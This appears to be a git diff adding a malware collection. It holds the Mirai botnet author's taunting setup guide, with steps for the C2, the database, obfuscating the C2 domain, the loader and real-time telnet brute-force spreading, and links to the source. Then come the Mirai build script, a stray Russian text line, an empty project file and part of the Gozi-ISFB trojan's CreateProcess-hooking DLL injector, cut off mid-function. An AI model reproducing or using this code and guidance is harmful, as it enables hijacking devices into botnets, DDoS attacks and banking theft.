+https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
+Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. "We still have better kung fu than you kiddos" don't make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL
+
+Let me give you some slaps back -
+1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together
+2) /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb
+3) You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol "And doing the backdoor to connect via HTTP on 65.222.202.53". you got tripped up by signal flow ;) try harder skiddo
+4) Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol
+5) you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland
+
+5 slaps for you
+
+Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you "beat me" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back.
+
+Just as I forever be free, you will be doomed to mediocracy forever.
+
+
+Requirements
+Bare Minimum
+2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading
+
+Pro Setup (my setup)
+2 VPS and 4 servers
+- 1 VPS with extremely bulletproof host for database server
+- 1 VPS, rootkitted, for scanReceiver and distributor
+- 1 server for CNC (used like 2% CPU with 400k bots)
+- 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)
+
+
+Infrastructure Overview
+- To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address
+- Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.
+- Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.
+
+Mirai uses a spreading mechanism similar to self-rep, but what I call "real-time-load". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading.
+
+The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.
+
+Configuring Bot
+Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working.
+
+- TABLE_CNC_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :)
+- TABLE_CNC_PORT - Port to connect to, its set to 23 already
+- TABLE_SCAN_CB_DOMAIN - When finding bruted results, this domain it is reported to
+- TABLE_SCAN_CB_PORT - Port to connect to for bruted results, it is set to 48101 already.
+
+In ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file
+
+Run this inside mirai directory
+Code:
+./build.sh debug telnet
+You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool
+
+Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this:
+Code:
+./debug/enc string fuck.the.police.com
+
+The output should look like this
+Code:
+XOR'ing 20 bytes of data...
+\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
+
+To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see "XOR'ing 20 bytes of data". This value must replace the last argument tas well. So for example, the table.c line originally looks like this
+
+[/code]
+add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
+[/code]
+
+Now that we know value from enc tool, we update it like this
+Code:
+add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
+
+Some values are strings, some are port (uint16 in network order / big endian).
+
+Configuring CNC
+Code:
+apt-get install mysql-server mysql-client
+CNC requires database to work. When you install database, go into it and run following commands:
+http://pastebin.com/86d0iL9g
+
+This will create database for you. To add your user,
+Code:
+INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
+
+Now, go into file ./mirai/cnc/main.go
+
+Edit these values
+
+Code:
+const DatabaseAddr string = "127.0.0.1"
+const DatabaseUser string = "root"
+const DatabasePass string = "password"
+const DatabaseTable string = "mirai"
+
+To the information for the mysql server you just installed
+
+
+Setting Up Cross Compilers
+Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.
+
+http://pastebin.com/1rRCc3aD
+
+Building CNC+Bot
+The CNC, bot, and related tools:
+1) http://santasbigcandycane.cx/mirai.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!
+[Image: BVc7qJs.png]
+
+2) http://santasbigcandycane.cx/loader.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!
+
+How to build bot + CNC
+In mirai folder, there is build.sh script.
+
+Code:
+./build.sh debug telnet
+Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder
+
+Code:
+./build.sh release telnet
+Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: "mirai.$ARCH" to ./mirai/release folder
+
+
+Building Echo Loader
+Loader reads telnet entries from STDIN in following format:
+Code:
+ip:port user:pass
+It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. You can find code to compile the tiny downloader stub h ere
+http://santasbigcandycane.cx/dlr.src.zip
+
+You need to edit your main.c for the dlr to include the HTTP server IP. The idea is, if the iot device doesn have tftp or wget, then it will echo load this 2kb binary, which download the real binary, since echo loading really slow.
+When you compile, place your dlr.* files into the folder ./bins for the loader
+
+Code:
+./build.sh
+Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this
+
+Code:
+cat file.txt | ./loader
+
+Remember to ulimit!
+
+Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it"
+Contact GitHub API Training Shop Blog About
diff --git a/tools/build.sh b/tools/build.sh
new file mode 100644
index 0000000..51afd44
--- /dev/null
+++ b/tools/build.sh
@@ -0,0 +1,63 @@
+#!/bin/bash
+
+FLAGS=""
+
+function compile_bot {
+ "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
+ "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
+}
+
+if [ $# == 2 ]; then
+ if [ "$2" == "telnet" ]; then
+ FLAGS="-DMIRAI_TELNET"
+ elif [ "$2" == "ssh" ]; then
+ FLAGS="-DMIRAI_SSH"
+ fi
+else
+ echo "Missing build type."
+ echo "Usage: $0 "
+fi
+
+if [ $# == 0 ]; then
+ echo "Usage: $0 "
+elif [ "$1" == "release" ]; then
+ rm release/mirai.*
+ rm release/miraint.*
+ go build -o release/cnc cnc/*.go
+ compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
+ compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
+ compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"
+
+ compile_bot i586 miraint.x86 "-static"
+ compile_bot mips miraint.mips "-static"
+ compile_bot mipsel miraint.mpsl "-static"
+ compile_bot armv4l miraint.arm "-static"
+ compile_bot armv5l miraint.arm5n " "
+ compile_bot armv6l miraint.arm7 "-static"
+ compile_bot powerpc miraint.ppc "-static"
+ compile_bot sparc miraint.spc "-static"
+ compile_bot m68k miraint.m68k "-static"
+ compile_bot sh4 miraint.sh4 "-static"
+
+ go build -o release/scanListen tools/scanListen.go
+elif [ "$1" == "debug" ]; then
+ gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
+ mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
+ armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
+ armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
+ sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
+ gcc -std=c99 tools/enc.c -g -o debug/enc
+ gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
+ gcc -std=c99 tools/badbot.c -g -o debug/badbot
+ go build -o debug/cnc cnc/*.go
+ go build -o debug/scanListen tools/scanListen.go
+else
+ echo "Unknown parameter $1: $0 "
+fi
diff --git a/tools/prompt.txt b/tools/prompt.txt
new file mode 100644
index 0000000..db8b66f
--- /dev/null
+++ b/tools/prompt.txt
@@ -0,0 +1 @@
+я люблю куриные наггетсы
diff --git a/windows/gozi-isfb/AcDll/AcDll.vcproj b/windows/gozi-isfb/AcDll/AcDll.vcproj
new file mode 100644
index 0000000..ad3b503
--- /dev/null
+++ b/windows/gozi-isfb/AcDll/AcDll.vcproj
@@ -0,0 +1,1191 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/windows/gozi-isfb/AcDll/activdll.c b/windows/gozi-isfb/AcDll/activdll.c
new file mode 100644
index 0000000..77efb02
--- /dev/null
+++ b/windows/gozi-isfb/AcDll/activdll.c
@@ -0,0 +1,1240 @@
+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// AcDLL project. Version 1.5
+//
+// module: activdll.c
+// $Revision: 12 $
+// $Date: 2012-12-11 16:56:52 +0400 (Вт, 11 дек 2012) $
+// description:
+// Active DLL engine.
+// Injects a specified DLL into every child process that started by a current process.
+// Currently four hooks used: CreateProcess(A and W), CreateProcessAsUser(A and W). This is for creating all processes suspended and
+// resuming'em after injectin' the DLL.
+
+#include "..\common\common.h"
+#include "activdll.h"
+
+
+#define PROCESS_WAIT_TIME 6000 // How long we have to wait for a process to initialize (milliseconds)
+#define PROCESS_CHECK_TIME 300 // An interval to check if process already initialized (milliseconds)
+
+
+LPWSTR VncChangeDesktopNameW(LPSTARTUPINFOW lpStartupInfo);
+LPSTR VncChangeDesktopNameA(LPSTARTUPINFOA lpStartupInfo);
+
+static AC_CMD_LINE_MODIFY_CALLBACKA g_CmdLineModifyCallbackA;
+static AC_CMD_LINE_MODIFY_CALLBACKW g_CmdLineModifyCallbackW;
+
+// --- Globals -------------------------------------------------------------------------------------------------------------
+
+
+//#define _CALL_IMPORT TRUE // Call originally imported function from the IAT, instead of callin saved original pointer.
+ // This can fail with CreateProcess hooks on Vista since theese function are being resolved as
+ // delay import within advapi32.dll
+
+static AD_CONTEXT g_CurrentAdContext = {0};
+static PROCESS_IMPORT g_DefaultImport = {0};
+static PROCESS_IMPORT g_DefaultImportArch = {0};
+
+// Variables
+
+
+typedef BOOL (_stdcall* ptr_CreateProcessW)(LPWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ LPWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+typedef BOOL (_stdcall* ptr_CreateProcessA)(PCHAR lpApplicationName, PCHAR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ PCHAR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+typedef BOOL (_stdcall* ptr_CreateProcessAsUserA)(HANDLE hToken, LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+typedef BOOL (_stdcall* ptr_CreateProcessAsUserW)(HANDLE hToken, LPWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ LPWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+
+
+// Predefinitions
+
+
+WINERROR ProcessInjectDll(LPPROCESS_INFORMATION lpProcessInformation, DWORD ProcessCreateFlags, ULONG_PTR ProcessEntry, BOOL bInjectImage);
+
+
+BOOL WINAPI my_CreateProcessW(LPWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ LPWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+BOOL WINAPI my_CreateProcessA(PCHAR lpApplicationName, PCHAR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ PCHAR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+BOOL WINAPI my_CreateProcessAsUserA(HANDLE hToken, LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+BOOL WINAPI my_CreateProcessAsUserW(HANDLE hToken, LPWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
+ LPWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+
+
+INT CreateInjectThread(ULONG ProcessId);
+
+
+#ifdef _KERNEL_MODE_INJECT
+DECLARE_K32_HOOK(CreateThread);
+#else
+DECLARE_K32_HOOK(CreateProcessW);
+DECLARE_K32_HOOK(CreateProcessA);
+DECLARE_A32_HOOK(CreateProcessAsUserW);
+DECLARE_A32_HOOK(CreateProcessAsUserA);
+
+//win7
+DECLARE_K32_HOOK(CreateProcessAsUserW);
+DECLARE_K32_HOOK(CreateProcessAsUserA);
+#endif
+
+//////////////////////////////////////////////////////////////////////////
+
+#ifdef _KERNEL_MODE_INJECT
+DECLARE_NULL_HOOK(CreateThread);
+#else
+DECLARE_NULL_HOOK(CreateProcessW);
+DECLARE_NULL_HOOK(CreateProcessA);
+DECLARE_NULL_HOOK(CreateProcessAsUserW);
+DECLARE_NULL_HOOK(CreateProcessAsUserA);
+#endif
+
+#define _NO_WND_HOOKS_
+
+// Hook descriptors
+static HOOK_DESCRIPTOR ProcIatHooks[] = {
+
+#ifdef _KERNEL_MODE_INJECT
+ DEFINE_K32_IAT_HOOK(CreateThread),
+#else
+ DEFINE_K32_IAT_HOOK(CreateProcessW),
+ DEFINE_K32_IAT_HOOK(CreateProcessA),
+ DEFINE_A32_IAT_HOOK(CreateProcessAsUserW),
+ DEFINE_A32_IAT_HOOK(CreateProcessAsUserA),
+#endif
+};
+
+// Hook descriptors
+static HOOK_DESCRIPTOR ProcIatHooksEx[] = {
+
+#ifdef _KERNEL_MODE_INJECT
+ DEFINE_NULL_IAT_HOOK(CreateThread),
+#else
+ DEFINE_NULL_IAT_HOOK(CreateProcessW),
+ DEFINE_NULL_IAT_HOOK(CreateProcessA),
+ DEFINE_NULL_IAT_HOOK(CreateProcessAsUserW),
+ DEFINE_NULL_IAT_HOOK(CreateProcessAsUserA),
+#endif
+};
+
+static HOOK_DESCRIPTOR ProcExportHooks[] = {
+
+#ifdef _KERNEL_MODE_INJECT
+ DEFINE_K32_EXP_HOOK(CreateThread),
+#else
+ DEFINE_K32_EXP_HOOK(CreateProcessW),
+ DEFINE_K32_EXP_HOOK(CreateProcessA),
+ DEFINE_A32_EXP_HOOK(CreateProcessAsUserW),
+ DEFINE_A32_EXP_HOOK(CreateProcessAsUserA),
+#endif
+};
+
+
+// Starting form Windows7 CreateProcessAsUserW moved from advapi32 to kernel32
+static HOOK_DESCRIPTOR ProcExportHooksEx[] = {
+
+#ifdef _KERNEL_MODE_INJECT
+ DEFINE_K32_EXP_HOOK(CreateThread),
+#else
+ DEFINE_K32_EXP_HOOK(CreateProcessW),
+ DEFINE_K32_EXP_HOOK(CreateProcessA),
+ DEFINE_K32_EXP_HOOK(CreateProcessAsUserW),
+ DEFINE_A32_EXP_HOOK(CreateProcessAsUserA),
+#endif
+};
+
+
+//---- Hook functions --------------------------------------------------------------------------------------------------------
+
+#ifndef _KERNEL_MODE_INJECT
+
+BOOL WINAPI my_CreateProcessW(
+ LPWSTR lpApplicationName,
+ LPWSTR lpCommandLine,
+ LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes,
+ BOOL bInheritHandles,
+ DWORD dwCreationFlags,
+ LPVOID lpEnvironment,
+ LPWSTR lpCurrentDirectory,
+ LPSTARTUPINFOW lpStartupInfo,
+ LPPROCESS_INFORMATION lpProcessInformation
+ )
+{
+ ULONG Flags = dwCreationFlags;
+ BOOL Ret;
+ LPWSTR pNewCmdLine = NULL;
+
+ ENTER_HOOK();
+
+ dwCreationFlags |= CREATE_SUSPENDED;
+
+ if (g_CmdLineModifyCallbackW && (pNewCmdLine = (g_CmdLineModifyCallbackW)(lpApplicationName, lpCommandLine)))
+ lpCommandLine = pNewCmdLine;
+
+#ifdef _CALL_IMPORT
+ Ret = CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
+ dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+#else
+ ASSERT(hook_kernel32_CreateProcessW.Original);
+ Ret = ((ptr_CreateProcessW)hook_kernel32_CreateProcessW.Original)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
+ dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+#endif
+
+ if (Ret)
+ ProcessInjectDll(lpProcessInformation, Flags, 0, _INJECT_AS_IMAGE);
+
+ if (pNewCmdLine)
+ AppFree(pNewCmdLine);
+
+ LEAVE_HOOK();
+ return(Ret);
+}
+
+
+BOOL WINAPI my_CreateProcessA(
+ PCHAR lpApplicationName,
+ PCHAR lpCommandLine,
+ LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes,
+ BOOL bInheritHandles,
+ DWORD dwCreationFlags,
+ LPVOID lpEnvironment,
+ PCHAR lpCurrentDirectory,
+ LPSTARTUPINFOA lpStartupInfo,
+ LPPROCESS_INFORMATION lpProcessInformation
+ )
+{
+ ULONG Flags = dwCreationFlags;
+ BOOL Ret;
+ LPSTR pNewCmdLine = NULL;
+
+ ENTER_HOOK();
+
+ dwCreationFlags |= CREATE_SUSPENDED;
+
+ if (g_CmdLineModifyCallbackA && (pNewCmdLine = (g_CmdLineModifyCallbackA)(lpApplicationName, lpCommandLine)))
+ lpCommandLine = pNewCmdLine;
+
+#ifdef _CALL_IMPORT
+ Ret = CreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
+ dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+#else
+ Ret = ((ptr_CreateProcessA)hook_kernel32_CreateProcessA.Original)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
+ dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+#endif
+
+
+ if (Ret)
+ ProcessInjectDll(lpProcessInformation, Flags, 0, _INJECT_AS_IMAGE);
+
+ if (pNewCmdLine)
+ AppFree(pNewCmdLine);
+
+ LEAVE_HOOK();
+ return(Ret);
+}
+
+
+BOOL WINAPI my_CreateProcessAsUserA(
+ HANDLE hToken,
+ LPCSTR lpApplicationName,
+ LPSTR lpCommandLine,
+ LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes,
+ BOOL bInheritHandles,
+ DWORD dwCreationFlags,
+ LPVOID lpEnvironment,
+ LPCSTR lpCurrentDirectory,
+ LPSTARTUPINFOA lpStartupInfo,
+ LPPROCESS_INFORMATION lpProcessInformation
+ )
+{
+ ULONG Flags = dwCreationFlags;
+ BOOL Ret;
+
+ ENTER_HOOK();
+
+ dwCreationFlags |= CREATE_SUSPENDED;
+
+#ifdef _CALL_IMPORT
+ Ret = CreateProcessAsUserA(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
+ bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+#else
+ if (LOBYTE(LOWORD(g_SystemVersion)) > 6 || (LOBYTE(LOWORD(g_SystemVersion)) == 6 && HIBYTE(LOWORD(g_SystemVersion)) > 0))
+ {
+ // Win7
+ Ret = ((ptr_CreateProcessAsUserA) hook_kernel32_CreateProcessAsUserA.Original)(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
+ bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+ }
+ else
+ {
+ Ret = ((ptr_CreateProcessAsUserA) hook_advapi32_CreateProcessAsUserA.Original)(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
+ bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+ }
+#endif
+
+ if (Ret)
+ ProcessInjectDll(lpProcessInformation, Flags, 0, _INJECT_AS_IMAGE);
+
+ LEAVE_HOOK();
+ return(Ret);
+}
+
+BOOL WINAPI my_CreateProcessAsUserW(
+ HANDLE hToken,
+ LPWSTR lpApplicationName,
+ LPWSTR lpCommandLine,
+ LPSECURITY_ATTRIBUTES lpProcessAttributes,
+ LPSECURITY_ATTRIBUTES lpThreadAttributes,
+ BOOL bInheritHandles,
+ DWORD dwCreationFlags,
+ LPVOID lpEnvironment,
+ LPWSTR lpCurrentDirectory,
+ LPSTARTUPINFOW lpStartupInfo,
+ LPPROCESS_INFORMATION lpProcessInformation
+ )
+{
+
+ ULONG Flags = dwCreationFlags;
+ BOOL Ret;
+
+ ENTER_HOOK();
+
+ dwCreationFlags |= CREATE_SUSPENDED;
+
+#ifdef _CALL_IMPORT
+ Ret = CreateProcessAsUserW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
+ bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+#else
+ if (LOBYTE(LOWORD(g_SystemVersion)) > 6 || (LOBYTE(LOWORD(g_SystemVersion)) == 6 && HIBYTE(LOWORD(g_SystemVersion)) > 0))
+ {
+ // Win7
+ Ret = ((ptr_CreateProcessAsUserW) hook_kernel32_CreateProcessAsUserW.Original)(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
+ bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+ }
+ else
+ {
+ Ret = ((ptr_CreateProcessAsUserW) hook_advapi32_CreateProcessAsUserW.Original)(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
+ bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
+ }
+#endif
+
+ if (Ret)
+ ProcessInjectDll(lpProcessInformation, Flags, 0, _INJECT_AS_IMAGE);
+
+ LEAVE_HOOK();
+ return(Ret);
+}
+#endif // _KERNEL_MODE_INJECT
+
+// ---- Functions -----------------------------------------------------------------------------------------------------------
+
+
+
+//
+// Writes the specified amount of bytes from the specified buffer into spesified processes memory.
+// Sets PAGE_READWRITE attributes before writing and restores original after it's done.
+//
+static BOOL PatchProcessMemory(
+ HANDLE hProcess,
+ PVOID Address,
+ PCHAR Patch,
+ ULONG Bytes
+ )
+{
+ BOOL Ret = FALSE;
+ ULONG OldProtect;
+ ULONG_PTR bWritten;
+
+ if (VirtualProtectEx(hProcess, Address, Bytes, PAGE_READWRITE, &OldProtect))
+ {
+ if (WriteProcessMemory(hProcess, Address, Patch, Bytes, &bWritten) && bWritten == Bytes)
+ {
+ ReadProcessMemory(hProcess, Address, &bWritten, sizeof(ULONG_PTR), &bWritten);
+ Ret = TRUE;
+ }
+ VirtualProtectEx(hProcess, Address, Bytes, OldProtect, &OldProtect);
+ }
+
+ return(Ret);
+}
+
+
+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// Returns specified process effective entry point address. I.e address where the process starts to execute.
+// This can be either an address of entry point of the main process image or an address of first image TLS callback if any.
+//
+static ULONG_PTR GetProcessEntry(HANDLE hProcess, ULONG Flags)
+{
+ ULONG_PTR AddressOfCallbacks, TlsCallback, ProcessEntry = 0;
+ PCHAR Buffer;
+ PCHAR ModuleBase;
+ SIZE_T bRead;
+ PIMAGE_DATA_DIRECTORY pDataDir;
+ IMAGE_TLS_DIRECTORY TlsDir;
+
+ do
+ {
+ if (!(Buffer = AppAlloc(PAGE_SIZE)))
+ // Not enough memory
+ break;
+
+ // Resolving target process main module image base
+ if (!(ModuleBase = PsSupGetProcessMainImageBase(hProcess)))
+ break;
+
+ // Calculating and loading image PE header
+ if (!ReadProcessMemory(hProcess, ModuleBase, Buffer, PAGE_SIZE, &bRead))
+ break;
+
+ if (!ReadProcessMemory(hProcess, ModuleBase + ((PIMAGE_DOS_HEADER)Buffer)->e_lfanew, Buffer, PAGE_SIZE, &bRead))
+ break;
+
+ // Calculating process entry VA
+ ProcessEntry = (ULONG_PTR)ModuleBase + PeSupGetOptionalField(Buffer, AddressOfEntryPoint);
+
+ // Checking if there's a TLS directory present
